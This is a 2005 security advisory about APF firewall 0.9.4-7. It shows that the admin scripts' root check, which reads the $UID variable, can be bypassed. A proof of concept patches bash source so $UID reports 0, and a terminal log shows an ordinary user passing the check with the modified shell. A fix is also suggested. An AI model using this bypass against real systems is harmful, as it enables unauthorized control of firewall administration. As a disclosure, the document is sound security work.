===================================================== SB2005002: pron to bypass APF checking uid(0) routine ----------------------------------------------------- Date : 01-13-2005 Author : x90c@xxxxxxxxxxxxxxxx/~jyj9782 ----- Affected Version ----- apf-0.9.4-7 ( current at this time ) ----- Summary ----- APF is a policy based iptables firewall system designed for ease of use and configuration. It employs a subset of features to satisfy the veteran Linux user and the novice alike. Packaged in tar.gz and RPM formats, APF is ideal for deployment in any linux server environment. tarball From the website ( http://www.r-fx.org/apf.php ). 1) Smallest Flaw When below PoC commands are executed, which allows localusers to bypass the (only can use root) checking. therefore maybe an malicous user will can free to use admin scripts(apf, firewall..) such as changing rules or start/stop deamon and so on.. it's very dangerous from smallest things. but it might be didn't happen,, because this program has install.sh. it contains of "chmod 750 $INSPATH/firewall" .. but i can advise potentialities~ ----- PoC ----- STEP 1) Patch your bash source (vi shell.c +1099) as below. + u = 0; + current_user.gid = 0; + current_user.euid = 0; + current_user.egid = 0; -shell.c +1099- static int uidget () { uid_t u; u = 0; if (current_user.uid != u) { FREE (current_user.user_name); FREE (current_user.shell); FREE (current_user.home_dir); current_user.user_name = current_user.shell = current_user.home_dir = (char *)NULL; } current_user.uid = u; current_user.gid = 0; current_user.euid = 0; current_user.egid = 0; /* See whether or not we are running setuid or setgid. */ return (current_user.uid != current_user.euid) || (current_user.gid != current_user.egid); } STEP 2) run vulerable scripts only for root (0) using patched bash shell. root@testbed:/home/s/apf-0.9.4-7# ls CHANGELOG README apf.init files logrotate.d.apf COPYING.GPL README.antidos cron.daily install.sh root@testbed:/home/s/apf-0.9.4-7# cd files root@testbed:/home/s/apf-0.9.4-7/files# ls VERSION apf deny_hosts.rules extras log.rules sysctl.rules ad bt.rules doc firewall main.rules vnet allow_hosts.rules conf.apf ds_hosts.rules internals preroute.rules root@testbed:/home/s/apf-0.9.4-7/files# grep "UID" * apf:if [ "$UID" != "0" ]; then firewall:if [ "$UID" != "0" ]; then root@testbed:/home/s/apf-0.9.4-7/files# i don't want to install and so i just only tested as below. root@testbed:/tmp# ls -al b* f* -rwxr-xr-x 1 pt pt 2969870 2005-01-08 01:23 bash90 -rwxrwxr-x 1 root root 24 2005-01-08 01:23 fake_firewall root@testbed:/tmp# su pt pt@testbed:/tmp$ id uid=1001(pt) gid=1001(pt) groups=1001(pt),101(wheel) pt@testbed:/tmp$ echo $UID 1001 pt@testbed:/tmp$ ./bash90 root@testbed:/tmp# echo $UID 0 root@testbed:/tmp# id uid=1001(pt) gid=1001(pt) groups=1001(pt),101(wheel) root@testbed:/tmp# ./fake_firewall 1001 root@testbed:/tmp# exit exit pt@testbed:/tmp$ ./bash90 fake_firewall 0 pt@testbed:/tmp$ ----- Solution ----- # cp /bin/id /firewall_path/secure_id # chmod 700 /firewall_path/secure_id and changed the sources to get uid by right above file.. or i recommend upgrade new release to you.. ----- Credits ----- This smallest flaw was found by x90c(Kyong Joo, Jung) personaly.
